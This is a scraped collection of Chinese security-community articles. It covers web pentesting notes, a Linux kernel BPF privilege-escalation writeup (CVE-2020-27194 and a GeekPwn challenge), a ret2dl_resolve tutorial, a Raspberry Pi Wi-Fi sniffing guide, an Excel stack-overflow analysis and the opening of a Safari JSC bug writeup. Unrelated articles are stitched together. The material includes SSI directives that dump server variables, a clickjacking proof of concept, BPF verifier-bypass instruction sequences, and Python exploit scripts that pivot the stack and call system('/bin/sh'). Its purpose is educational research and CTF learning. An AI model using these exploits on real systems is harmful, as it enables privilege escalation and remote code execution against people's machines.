<!--#echo var="script_filename" -->
<!--#echo var="netsite_root" -->
<!--#echo var="site_htmlroot" -->
<!--#echo var="path_translated" -->
<!--#echo var="path_info_translated" -->
<!--#echo var="request_uri" -->
<!--#echo var="request_method" -->
<!--#echo var="remote_user" -->
<!--#echo var="remote_addr" -->
<!--#echo var="http_client_ip" -->
<!--#echo var="remote_port" -->
<!--#echo var="remote_ident" -->
<!--#echo var="remote_host" -->
<!--#echo var="query_string_unescaped" -->
<!--#echo var="query_string" -->
<!--#echo var="path_translated" -->
<!--#echo var="path_info" -->
<!--#echo var="path" -->
<!--#echo var="page_count" -->
<!--#echo var="last_modified" -->
<!--#echo var="http_user_agent" -->
<!--#echo var="http_ua_os" -->
<!--#echo var="http_ua_cpu" -->
## 点击劫持
只需使用Burp的clickbandit。还要记住：Clickjacking适用于点击，而不适用于键盘。
poc:
<html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe src="http://target.com" width="500" height="500"></iframe>
</body>
</html>
<https://www.owasp.org/index.php/Testing_for_Clickjacking_(OTG-CLIENT-009>)
<https://javascript.info/clickjacking>
<https://www.tinfoilsecurity.com/blog/what-is-clickjacking>
## 攻击JSON
利用burp标记参数进行主动扫描
<https://www.coalfire.com/Solutions/Coalfire-Labs/The-Coalfire-LABS-Blog/may-2018/the-right-way-to-test-json-parameters-with-burp>
## 反序列化漏洞
[Writeup on Oracle Weblogic CVE-2018-2628](https://www.nc-lp.com/blog/weaponize-oracle-weblogic-server-poc-cve-2018-2628)
[Java Deserialization Scanner Burp
Extension](https://portswigger.net/bappstore/228336544ebe4e68824b5146dbbd93ae)
[Java Serialized Payloads Burp
Extension](https://portswigger.net/bappstore/bc737909a5d742eab91544705c14d34f)
### 工具
[Ysoserial](https://github.com/summitt/burp-ysoserial/releases)
## 测试不安全的JWT
获取JSON Web Tokens Burp扩展
捕获请求，将其发送到Repeater
单击JSON Web Tokens选项卡
单击使用随机密钥对签名
单击Alg None Attack下的下拉菜单
单击Go
查看会话后是否仍然有效
## LFI
<https://hack-ed.net/2017/11/05/finally-a-bug-bounty-write-up-lfi/>
## 子域名探测技术
<https://0xpatrik.com/subdomain-takeover-starbucks/>
原文地址：<https://techvomit.net/web-application-penetration-testing-notes/> | 社区文章 |
今年pwn2own上的linux kernel提权漏洞是linux kernel bpf模块的漏洞
---CVE-2020-8835，更早听说过的与bpf相关的漏洞是CVE-2017-16995。然后在上海参加GeekPwn
云靶场线下挑战赛的时候，也是一道bpf相关的内核题。我和我们队长通宵学习相关知识，最后拿到了这道题全场唯一的一血。
然后紧接着在11月1号，又有国外研究者爆出了bpf的又一个漏洞--CVE-2020-27194，也是内核提权。CVE-2020-27194是linux
kernel
5.8.x的通杀洞，和GeekPwn的kernel题一个环境。事后和队长感慨，还好这个洞晚了几天公开，不然我们就拿不到第2名的好名次了（同时损失奖金）。
360团队和漏洞研究者都已经写了CVE-2020-27194的writeup，但是没公布exp（那我就公开一下？）。这个漏洞和GeekPwn那道题的利用原理类似，于是想一起写一篇Writeup描述一下这种漏洞的利用。
## BPF基础
关于BPF的相关基础知识，ZDI上CVE-2020-8835的[Writeup](https://www.thezdi.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification)已经写的足够清晰。然后另外比较一个重要的资料就是
[kernel的文档](https://www.kernel.org/doc/Documentation/networking/filter.txt)，所以这里不再复述过多。
简单地说, 就是内核里实现了bpf字节码的JIT compiler， 用户可以在用户态编写bpf代码然后经Jit
compiler后执行。但是如果不加以限制，就相当于用户可以在内核执行任意代码，显然不符合权限管理模型。于是需要有一个verify的机制（相当于静态程序分析），去检查一些不合法的行为。
其中一个很重要的点就是会对常数变量设置一个取值范围。`struct bpf_reg_state`里存储着这样8个变量：
s64 smin_value; /* minimum possible (s64)value */
s64 smax_value; /* maximum possible (s64)value */
u64 umin_value; /* minimum possible (u64)value */
u64 umax_value; /* maximum possible (u64)value */
s32 s32_min_value; /* minimum possible (s32)value */
s32 s32_max_value; /* maximum possible (s32)value */
u32 u32_min_value; /* minimum possible (u32)value */
u32 u32_max_value; /* maximum possible (u32)value */
在verify阶段，当指针和常数进行各种数学运算，如addr+x时，会使用x的取值范围去验证这样的运算是否越界。
所以，如果在verify阶段，常数变量的取值范围计算存在逻辑上的漏洞，就会导致该变量实际运行时的值不在取值范围内。
假设用户申请了一块0x1000的map，然后用户想读写map+x位置的内存，x是常数变量。由于漏洞，verify阶段计算x的取值范围是
`0<=x<=0x1000`, 验证通过，然后jit compile成汇编执行。但是实际用户传入x的值是0x2000，这样就导致了内存的越界读写。
CVE-2020-8835、CVE-2020-27194、以及GeekPwn的kernel题都是这种类型的洞。
## CVE-2020-27194
漏洞成因是32位or运算的取值范围分析错误：
static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->smin_value;
u32 umin_val = src_reg->umin_value;
/* Assuming scalar64_min_max_or will be called so it is safe
* to skip updating register for known case.
*/
if (src_known && dst_known)
return;
/* We get our maximum from the var_off, and our minimum is the
* maximum of the operands' minima
*/
dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
dst_reg->u32_max_value = var32_off.value | var32_off.mask;
if (dst_reg->s32_min_value < 0 || smin_val < 0) {
/* Lose signed bounds when ORing negative numbers,
* ain't nobody got time for that.
*/
dst_reg->s32_min_value = S32_MIN;
dst_reg->s32_max_value = S32_MAX;
} else {
/* ORing two positives gives a positive, so safe to
* cast result into s64.
*/
dst_reg->s32_min_value = dst_reg->umin_value;
dst_reg->s32_max_value = dst_reg->umax_value;
}
}
在进行两个有符号正数or运算时，
最后2行代码将寄存器的64位无符号数的取值范围辅助给了32位有符号数的取值范围。这是一个很明显的错误，一个常数变量x，如果它64位无符号数的取值范围是
`1<=x<=0x100000001`，然后x|=0，x的32位有符号数的取值范围就成了`1<=x<=1，x=1`,
但是实际x的取值可以是2。这个差1错误经过倍数放大，可以造成任意长度的溢出读写。
所以bpf程序构造如下：
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_5), // r5 = input()
BPF_LD_IMM64(BPF_REG_6, 0x600000002), //r6=0x600000002
BPF_JMP_REG(BPF_JLT, BPF_REG_5, BPF_REG_6, 1), //if r5 < r6 ; jmp 1
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JGT, BPF_REG_5, 0, 1), //if r5 > 0 ; jmp 1 ;
BPF_EXIT_INSN(),
// now 1 <= r5 <= 0x600000001
BPF_ALU64_IMM(BPF_OR, BPF_REG_5, 0), //r5 |=0; verify: 1 <= r5 <=1 , r5=1
BPF_MOV_REG(BPF_REG_6, BPF_REG_5), //r6 =r5
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), //r6 >>1 verify:0 fact: we can let r5=2 then r6=1
......
}
bpf程序后面的代码及利用技巧和CVE-2020-8835的exp完全一样，后续的[利用原理](https://xz.aliyun.com/t/7690#toc-2)。只需要根据不同版本的内核调一下array_map_ops和init_pid_ns的偏移即可，完整的[exp](https://github.com/willinin/CVE-2020-27194-exp/blob/main/CVE-2020-27194.c)。
利用效果：
)
## GeekPwn 2020 final kernel
题目给了patch过的linux kernel 5.8.6 内核源码，diff找到修改的位置：
5277,5280c5277,5292
< dst_reg->smin_value += smin_val;
< dst_reg->smax_value += smax_val;
< dst_reg->umin_value += umin_val;
< dst_reg->umax_value += umax_val;
--- > if (signed_add_overflows(dst_reg->smin_value, smin_val) ||
> signed_add_overflows(dst_reg->smax_value, smax_val)) {
> dst_reg->smin_value = S64_MIN;
> dst_reg->smax_value = S64_MAX;
> } else {
> dst_reg->smin_value += smin_val;
> dst_reg->smax_value += smax_val;
> }
> if (dst_reg->umin_value + umin_val < umin_val ||
> dst_reg->umax_value + umax_val < umax_val) {
> dst_reg->umin_value = 0;
> dst_reg->umax_value = U64_MAX;
> } else {
> dst_reg->umin_value += umin_val;
> dst_reg->umax_value += umax_val;
> }
5789c5801
< smin_val > smax_val) {
--- > smin_val > smax_val || umin_val > umax_val) {
根据行数，发现patch的删掉了scalar_min_max_add函数，也就是64位数加法运算的整数溢出检查，以及adjust_scalar_min_max_vals函数64位无符号数
umin_val>umx_val的检查。 很明显，我们只要构造加法上的整数溢出即可，即令x的取值范围为`0<=x<=-1`， 然后x+1，
x得到的取值范围是`1<=x<=0`，这里因为第2处patch不会触发报错，然后两边除以2就可以x的取值范围是0。但是x的实际输入可以是64位的任意数。
那么构造程序完全仿造CVE-2020-27194即可：
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
BPF_MAP_GET(0, BPF_REG_5), // r5 = input()
BPF_LD_IMM64(BPF_REG_6, -1), //r6=-1
BPF_JMP_REG(BPF_JLE, BPF_REG_5, BPF_REG_6, 1), //if r5 <= -1 ; jmp 1
//BPF_JMP_IMM(BPF_JLE, BPF_REG_5, -1, 1),
BPF_EXIT_INSN(),
BPF_JMP_IMM(BPF_JGE, BPF_REG_5, 0, 1), //if r5 >= 0 ; jmp 1 ;
BPF_EXIT_INSN(),
// now 0 <= r5 <= -1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_5, 1), //r5 += 1 , then 1 <= r5 <=0 , won't crash because patch
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), //r6 =r5
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), //r6 >>1 verify: believe r6=0 fact： we can input r5=2, then r6=1
......
}
实际在做这道题的时候，后面利用是存在大坑的。因为出题人在编译内核的时候开启了结构体随机化。内核结构体里的变量的偏移和正常编译出来的内核不一样，于是需要看内核函数的汇编去计算各种偏移，十分繁琐且毫无知识点。
赛后和出题人吐槽了一下，结构体随机化除了恶心人毫无意义。
完整[exp](https://github.com/willinin/CVE-2020-27194-exp/blob/main/geekpwn2020_final.c).
## 总结
linux kernel
bpf模块verify部分的代码还是比较容易读懂，且逻辑也不复杂，上述漏洞都是verify时对常数变量取值范围的逻辑错误导致的。更为重要的是，CVE-2020-27194发现者提出的fuzz方法值得我们去思考和学习。思考的点是其实该fuzz方法并没有什么高深的理论，用的是很朴素的方法，可为什么那么多复现CVE-2020-8835漏洞的人没有想到并实现（包括我这个菜鸡）？我们需要由点及面的思考方式去发现更多的漏洞，且勤动手。
## References
<https://scannell.me/fuzzing-for-ebpf-jit-bugs-in-the-linux-kernel/>
<https://www.thezdi.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification> | 社区文章 |
### ret2dl_resolve原理与实践
#### 原理
* ##### ELF对象
* ELF文件是很多类unix系统（Lniux、FreeBSD）的可执行文件格式。
* 一个应用程序主要由ELF和动态链接库.so组成。在ELF文件中有多个segment，每个segment包括多个sections。
* 后面主要涉及.dynsym，.rela.plt和.dynstr，rel.plt。
* ##### ELF动态装载器
* 由于静态链接的文件比较大，且多是重复使用的代码。且一次装载耗时较多；所以才有了惰性加载（运行时加载）。
* ELF文件执行时根据section里的信息，动态地链接.so文件中的资源（函数、变量）。这一过程（符号解析）由动态装载器实现。
* 解析主要依赖于_dl_runtime_resolve函数。解析规则如图。
* 相关的数据结构
* 每个符号都是ELF_sym结构体。存在于.dynsym段。
* st_name字段保存着该符号在,synstr段的偏移（那里保存着符号的字符串形式）
* st_value字段，如果该符号已经被解析过，则保存着它的虚拟地址；否则NULL。
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
* 导入符号需要重定位支持，重定位项以ELF_Rel结构描述，存在于rel.plt段中
* r_offset字段：该函数在got.plt中的偏移
* r_info字段：该函数在dynsym中的类型和索引。
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
* 解析结束后，重定位的目标（Elf_Rel的r_offset）将会是got表的一个条目，got在got.plt中，将有能够解析rel.plt重定位项的动态链接器写入。
* ##### 对解析read函数（第一次调用）的一次跟踪过程
* gdb跟踪解析 **PLT**
* read函数未被解析时，got['read']中存的是plt['read']的第二条指令地址，所以会继续执行解析工作。
* push 1操作实际是read函数符号在rel_plt的索引 **reloc_index** ；而 **0x4004d0** 地址是特殊字段 **PLT[0]**
* PLT[0]的代码会将 **GOT[1]** 入栈，并跳转至 **GTO[2]** 。
GOT[1]和GOT[2]是两个特殊字段。
GOT[1]是内部数据结构的指针，类型是link_map，在动态装载器内部使用，包含了进行符号解析需要的当前ELF对象的信息。
GOT[2]是一个指向动态装载器中_dl_runtime_resolve函数的指针。
* 从上面的跟踪可以看出，PLT代码执行了 **_dl_runtime_resolve(link_map_obj, reloc_index)** 的调用。
* 图示该函数的实现作用
* **.dynamic段和RELRO**
* 动态装载器从.dynamic段收集所有它需要的关于ELF对象的信息。.dynamic段由Elf_Dyn结构组成，一个Elf_Dyn是一个键值对，其中存储了不同类型的信息。相关的条目已经在表1中展示，它们保存着特定段的绝对地址。有一个例外是DT_DEBUG条目，它保存的动态装载器内部数据结构的指针。这个条目是为了调试的需要由动态装载器初始化的。
* 部分RELRO：一些段(包括.dynamic)在初始化后将会被标识为只读。
* 全部RELRO：所有的导入符号将在开始时被解析，.got.plt段会被完全初始化为目标函数的最终地址，并被标记为只读。此外，既然惰性解析被禁用，GOT[0]与GOT[1]条目将不会被初始化为之前中提到的值。
* ##### 攻击
* 通过伪造整个解析过程所依赖的符号信息（相关的数据结构），就可以将我们需要的函数动态加载进某一地址。攻击示意图
这里，通过改写got[1]，即link_map指向一个我们伪造得ELF_Dyn结构。在这个结构中破坏保存DT_STRTAB指针的l_info域。它的值被设成一个伪造的动态条目的地址，那里指向了一个位于.bss段中的假的动态字符串表。
* a攻击实例中，改写DT_STRTAB条目，欺骗解析器认为.dynstr在.bss上，且在.bss伪造的dynsyn中写入我们的函数字符串，这里调用printf会劫持到execve。
* b宏基实例中，通过传递给_dl_runtime_resolve函数的索引reloc_index超出范围，落在了.bss，并在那里伪造Elf_Rle结构；这个重定位项指向一个就位于其后的Elf_Sym结构，而Elf_Sym结构中的index同样超出了.dynsym段。这样这个符号就会包含一个相对.dynstr地址足够大的偏移使其能够达到这个符号之后的一段内存，那里保存着这个将要调用的函数的名称。
#### 实践
* ##### x86 0Ctf 2017 babystack
* 无输出函数，不知道libc版本。。
* ret2dl_resolve方法解决
* 首先根据上图的流程手动模拟，找到"read"函数。
* 代码模拟——借助于栈迁移，将stack迁移到.bss。
#rop information
read_plt = 0x08048300
bss_buf = 0x0804A020
leave_ret = 0x08048455
pop_3_ret = 0x080484e9 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x080484eb # pop ebp ; ret
#stack poivt and read(0, bss, 0x1000)
payload = 'a'*0x28
payload += p32(bss_buf) #ebp ==> bss_buf
payload += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_buf) + p32(0x36)
p.send(payload)
dbg()
stack_size = 0x800
control_base = bss_buf + stack_size
payload = 'a'*0x4 #read(0, bss_buf = ebp, 0x1000), while ebp+4 is ret_addr
payload += p32(read_plt) + p32(pop_3_ret) + p32(0) + p32(control_base) + p32(0x1000)
payload += p32(pop_ebp_ret) + p32(control_base) #ebp = control_base, so ret_addr is at control_base+4 which is plt_0
payload += p32(leave_ret)
p.send(payload)
* 伪造相关数据结构
#elf information
rel_plt = 0x80482b0
jmptab = 0x80482b0
dynsym = 0x080481cc
symtab = 0x080481cc
dynstr = 0x0804822c
strtab = 0x0804822c
#fake information
alarm_got = elf.got['alarm']
fake_sym_addr = control_base + 0x24
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
index_sym = (fake_sym_addr - dynsym) / 0x10
r_info = index_sym << 8 | 7
fake_reloc=p32(alarm_got)+p32(r_info) # reloc fake alarm->system
st_name=fake_sym_addr+0x10-dynstr
fake_sym=p32(st_name)+p32(0)+p32(0)+p32(0x12)
plt_0 = 0x080482F0
index_offset = (control_base + 0x1c) - rel_plt #plt_i索引
* 栈布置
* 其中通过导向执行PLT0，这里的参数很好理解。但是被解析函数的参数的位置怎么确定呢？在执行PLT0代码是，栈上的参数分布如下
* 其他的结构都是伪造的布置在栈上，只要前后一致就没有问题。
```python
payload += p32(plt_0) #push link_map; jmp dl_runtime_resolve.
payload += p32(index_offset) #push idx
payload += 'a'*4
payload += p32(control_base + 0x50) #参数地址
payload += 'a'*8
payload += fake_reloc #control_base + 0x1c
payload += 'b'*8
payload += fake_sym #control_base + 0x24
payload += 'system\x00'
payload = payload.ljust(0x50, 'a')
payload += cmd #被解析函数的参数位置
payload = payload.ljust(0x64, 'a')
```
* 可以看到还是很麻烦的，利用工具[roputils](https://github.com/inaz2/roputils)可以简化该过程。
rom pwn import *
import sys
sys.path.append("/home/tree/pwntools/roputils")
import roputils
import time
#coding:utf-8
offset = 0x2c
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B
p = process('./babystack')
# p = remote('202.120.7.202', 6666)
# context.log_level = 'debug'
rop = roputils.ROP('./babystack')
addr_bss = rop.section('.bss')
# step1 : write sh & resolve struct to bss
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)
buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system') #address for func, and name for func
buf2 += rop.fill(100, buf2)
p.send(buf2)
#step2 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss) #address for func and args for func
p.send(buf3)
p.interactive()
* ##### x64
* 多了两个结构体。rela.plt和Sym
* 同时r_offset不在直接寻址，而是作为rel.plt的索引。
* 同时需要link_mmap设置为0（先泄露link_mmap_addr）
* 利用roputils实现
```python
#!/usr/bin/python
# - _\- coding: utf-8 -_ -
import sys
sys.path.append("/home/tree/pwntools/roputils")
from roputils import *
fpath = './ret2dl64'
offset = 0x28
rop = ROP(fpath)
addr_bss = rop.section('.bss')
read_plt = rop.plt('read')
read_got = rop.got('read')
p = Proc(fpath)
payload = rop.retfill(offset)
payload += rop.call(read_plt, 0, addr_bss, 0x100)
payload += rop.dl_resolve_call(addr_bss+0x20, addr_bss) #link mmap地址，参数地址
p.write(payload)
payload = rop.string("/bin/sh\x00")
payload += rop.fill(0x20, payload)
payload += rop.dl_resolve_dada(addr_bss + 0x20, 'system') #link mmap 地址, 函数名
payload += rop.fill(0x100, payload)
p.write(payload)
p.interact(0)
```
* ##### 参考链接
* [安全客](https://www.anquanke.com/post/id/177450)
* [Leakless Paper](http://www.inforsec.org/wp/?p=389)
* [ret2dl_resolve笔记](\[https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/\]\(https://veritas501.space/2017/10/07/ret2dl_resolve学习笔记/))
* [ichunqiu](https://bbs.ichunqiu.com/thread-44816-1-1.html) | 社区文章 |
# 【技术分享】借助树莓派模拟Wimonitor监听Wifi
|
##### 译文声明
本文是翻译文章，文章来源：zone13.io
原文地址：<https://zone13.io/post/wifi-monitoring-using-raspberry-pi/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
[**Wimonitor**](https://www.hackerarsenal.com/products/wimonitor) 是 **Hacker
Arsenal**
的一款优秀产品，提供了Web配置界面，可以节省渗透测试人员的精力，使他们免于配置繁琐的虚拟机、挂载支持监听模式的无线网卡等操作。这款产品使用起来非常方便，只需要将设备插入以太网口中，你就可以在任何操作系统上监听Wi-Fi流量。本质上它是一个[ **tp-link TL-MR3020**](http://www.tp-link.com/il/products/details/cat-14_TL-MR3020.html)
路由器，搭载了具有监听功能的自定义固件，可以将监听到的数据包发往主机（或Mac），以便操作者在主机上运行Wireshark分析数据包。
虽然我尚未购买这款产品，但自上市以来，我已经听过关于该产品的许多赞誉之词。然而，从欧盟购买所需的运费实在太高，希望厂商能够尽快从欧盟区直接发货。
与此同时，我有个好想法：为什么我们不在 **树莓派（Raspberry Pi）** 上实现类似功能？
树莓派可以运行包括Kali在内的许多操作系统，之前我在渗透测试中也经常用到树莓派。树莓派3B功能非常强大，足以胜任稳定的监听工作，只需要几个简单的步骤，我们就可以将它变成Wimonitor（当然，只是功能上相似）。
Hacker Arsenal的极客们已经造出了Wimonitor这个绝妙的产品，该产品是一个性能稳定的即插即用设备，提供固件维护支持。因此，如果你是Wi-Fi安全领域的初学者，或者你想要一个简单易用的监听工具，我建议你选择Wimonitor。
**二、所需硬件**
****运行Windows系统的一台 笔记本主机（本文所完成的测试及截图均在Windows 8.1上完成）。
树莓派3B、micro SD卡、电源适配器（USB 3.0电源应该足以驱动树莓派+无线网卡）。
以太网线，连接树莓派及笔记本。
支持监听模式的Wi-Fi网卡（如TL-WN722N v1）。
**三、安装步骤**
1、将[RASPBIAN STRETCH
LITE](https://www.raspberrypi.org/downloads/raspbian/)写入micro
SD卡。这是个轻量级操作系统，本身就支持包括TL-WN722N在内许多网卡的监听模式。你可以参考[此处](http://www.raspberry-projects.com/pi/pi-operating-systems/win32diskimager)了解写入该系统的具体步骤。
2、将Raspbian写入micro SD卡后，你需要在树莓派上启用SSH功能。具体方法是在micro
SD卡上创建一个名为ssh的空白文件（注意：不需要文件扩展名）。
3、为了能让笔记本与树莓派通信，最简单的方法是通过以太网与树莓派共享笔记本的Wi-Fi。这样树莓派就能得到192.168.137.x的IP地址。具体步骤是，先转到网络连接（使用ncpa.cpl命令），在Wi-Fi适配器上点击右键，选择“属性”，在“共享”选项卡中，选择与树莓派连接的那个以太网适配器，点击确定即可。
4、准备将树莓派连接到笔记本主机。将micro SD卡插入树莓派插槽，Wi-Fi网卡插入USB接口，通过网线将笔记本主机及树莓派连接起来，启动电源。
5、树莓派启动后，会通过共享连接获得一个IP地址。想要探测树莓派的IP地址，最简单的一种方法就是在笔记本上运行[nmap](https://nmap.org/download.html)，探测192.168.137.1/24子网上的主机。
6、运行[PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)，通过SSH方式接入树莓派。我们正在使用的Raspbian
OS的默认用户名密码为pi/raspberry。
7、想要为树莓派设置静态IP地址的话，可以打开`/etc/dhcpcd.conf`文件，在文件尾部添加如下字段：
interface eth0
static ip_address=192.168.137.100/24
static routers=192.168.137.1
static domain_name_servers=192.168.137.1
8、我推荐使用基于密钥认证的SSH登录方式。打开PuTTYgen，生成密钥对。
9、在树莓派的主目录创建一个`.ssh`目录，在其中创建一个名为`authorized_keys`的文件。将PuTTYgen生成的公钥信息粘贴到`authorized_keys`文件中。记得保存PuTTYgen的私钥。重启树莓派上的SSH服务。此外，记得修改树莓派的默认密码。
10、默认情况下，Raspbian lite OS并没有集成用来监听的软件包，我们可以使用如下命令安装这些软件包：
sudo apt update
sudo apt install aircrack-ng tcpdump -y
11、测试无线网卡能否在树莓派上执行监听任务。
12、现在，我们已验证树莓派上能够正常进行监听，接下来我们可以通过SSH登录树莓派，运行tcpdump，将结果传回笔记本上正在运行的Wireshark。[plink.exe](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html)是PuTTY.exe的命令行接口，可以在Windows上满足这些需求。为了便于操作，我将plink.exe以及PuTTYgen生成的私钥放在同一个文件夹中。如果这两个文件不在同一个目录，我们可以使用如下命令修改为正确的路径。
只需要如下一行语句即可：
plink.exe -ssh -i pi-monitor-ssh-key.ppk [email protected] "sudo tcpdump -ni wlan1mon -s 0 -w -" | "C:Program FilesWiresharkWireshark.exe" -k -i -
如果只需要在信道1上监听的话，我们可以运行如下命令：
sudo iwconfig wlan1mon channel 1
如你所见，借助树莓派，我们不需要做太多操作就能监听Wi-Fi数据包，监听结果也能导出到Windows或其他操作系统中，通过Wireshark进行查看。
**四、后续使用步骤**
上述步骤是一次性安装步骤。后续我们想继续监听时，只需将无线网卡插入树莓派，按下电源开关，运行如下命令即可使树莓派进入监听模式：
plink.exe -ssh -i pi-monitor-ssh-key.ppk [email protected] "sudo airmon-ng start wlan1"
随后，启动Wireshark，开始监听。
plink.exe -ssh -i pi-monitor-ssh-key.ppk [email protected] "sudo tcpdump -ni wlan1mon -s 0 -w -" | "C:Program FilesWiresharkWireshark.exe" -k -i -
就是这么简单 🙂
**五、总结**
这种方案有如下几个优点：
1、无需使用庞大的虚拟机。只需要使用Windows上的Wireshark以及plink.exe就能监听Wi-Fi流量。我还没有在Linux或Mac
OS上测试这种方案，我猜应该有将SSH输出结果推送到Wireshark的类似办法。
2、Wi-Fi监听成本低廉。如果你已经准备进入渗透测试领域或类似领域，你手头上应该备有一个树莓派以及无线网卡。
3、Wimonitor可能只能使用板载的Wi-Fi芯片，然而这种方案中，树莓派可以使用任何（或多个）支持监听模式的无线网卡。只需要使用USB集线器或者电池为树莓派及无线网卡提供电源即可。你可以考虑一下使用Yagi–Uda天线来配合树莓派的无线网卡。
4、安装起来非常简单。Raspbian以及Kali原生支持类似Alfa AWUS036NHA、TL-WN722N之类的无线网卡。前期工作准备就绪后，我们只需要将无线网卡插入树莓派，运行两条命令就可以抓包分析。
5、树莓派足以应付监听任务。在相对较为繁忙的Wi-Fi区域中，这种方案中树莓派总共只消耗了35 MB左右的内存。
当然也有如下缺点：
1、不像Wimonitor那样即插即用。我们需要做些初始设置（即两条命令）才能启动并运行这套装备。
2、没有Web界面能够更改配置。
3、目前仍不具备信道子集跳频功能。
希望本文对你有所帮助。 | 社区文章 |
先知技术社区独家发表本文，如需要转载，请先联系先知技术社区授权；未经授权请勿转载。先知技术社区投稿邮箱：[email protected]；
## **1分析环境**
操作系统：Window xp Sp3
软件 ：Office 2003 sp3
## **2 基本信息**
漏洞类型：栈溢出
影响范围：Microsoft Excel 2002 SP3 and 2003 SP3, Office 2004 and 2008 for Mac
## **3 漏洞分析**
Exp MD5: fbd4378af4ef2e249a6a81e1ba12db99
由于并没有找到对应的在实际攻击中的样本，这里我们使用Abysssec团队放出的exp
进行调试。
我们上windbg进行分析，我们的样本的并没有弹出那个计算器，我们现在打开Excel,
然后用windbg附加上，然后打开样本，有个异常错误。
我们首先将Excel.exe放到IDA中，然后查看这个地址属于哪个函数，在函数开头下断点，
在返回地址处，下个内存写断点，我们可以发现循环拷贝的地方导致覆盖了返回地址。
我们重点关注下这个地址。
首先我们先确定一下拷贝的函数在文件的位置
这是个循环复制，，第一次ECX为1，只复制了四个字节，我们用offVIS打开文件，发
现复制的是BOF字段的阴影中的四个字节。
我们看看第二次复制的情况，第二次复制的是从下面阴影开始的字段
而要复制的字段明显的超过栈空间，因为这个栈空间只有60h个字节，而复制的
而复制的要有300字节，导致栈溢出。
当我们知道了可以控制覆盖的数据的时候，还要去了解整个ECX是从何处来的，这个时
候我们断到溢出函数的起点来看看EXC来自的文件的何处。
我们在将上一层函数在IDA反汇编成伪代码，发现函数在执行之前会比较一下是否是A7。
在来看看Abysssec团队写的生成EXP的python脚本，我们发现了这个A7是recordTypt
我们再次打开OffVIS,我们可以看到这个是BIFFRecord
我们在往下看代码
我们发现sub_300DE7C5 返回的是3c跟比较的相同，
这个时候我们发现BIFFRecord下面的Contine 的Type也正是0x3c，经过我的实验，我
将这个3c改成其他的数，在动态调试，返现sub_300DE7C5这个函数返回的正式Continue的Type
我们继续调试，发现sub_300C3AA4返回的是Continue的长度，正式Continue的length字段，这个字段是的长度也是0x300,这个时候，我们可以肯定的就是这个Continue,就是控制复制长度
在次看Continue 字段的最后一个值 ContinueDate，正是复制的字段。
其实这个能实现完美利用的关键还在于，这个漏洞可以控制复制到那个位置，我们来看一下
首先这个先从ebp+34h的地方取出0c0f,后来又乘以了4
通过实验我们发现这两个就是BIFFRecord的Length 和Data
这两个相乘后，作为偏移加上eax放到 esi中
最后esi作为参数放入拷贝函数中，而这个就是拷贝的目标地址，这样我们就可以实现目标地址定位。
## **总结**
这个漏洞通过栈溢出可以通过控制拷贝大小，拷贝位置实现精确控制，开发者在拷贝的时候，并没有对拷贝的大小进行控制。 | 社区文章 |
**作者：360漏洞研究院 戴建军
原文链接：<https://vul.360.net/archives/397>**
2021年天府杯我们成功完成iPhone 13 pro RCE的目标，这篇文章将会详细介绍其中使用到的Safari JavaScriptCore(JSC)
漏洞，漏洞编号为CVE-2021-30953。
## ArithNegate
在JSC的JIT FTL优化过程中，对于 -n 的表达式会生成ArithNegate
opcode，且ArithNegate会伴随相应的ArithMode，ArithMode有如下几种定义：
enum Mode {
NotSet, // Arithmetic mode is either not relevant because we're using doubles anyway or we are at a phase in compilation where we don't know what we're doing, yet. Should never see this after FixupPhase except for nodes that take doubles as inputs already.
Unchecked, // Don't check anything and just do the direct hardware operation.
CheckOverflow, // Check for overflow but don't bother with negative zero.
CheckOverflowAndNegativeZero, // Check for both overflow and negative zero.
DoOverflow // Up-convert to the smallest type that soundly represents all possible results after input type speculation.
};
相信从注释中大家也能明白他们的含义，这里我们主要关注Unchecked和CheckOverflow，顾名思义Unchecked表示不需要对ArithNegate操作做任何检查，CheckOverflow则需要检查是否产生溢出。那么
-n 操作为什么需要检查溢出呢？什么数据能导致 -n 操作产生溢出呢？
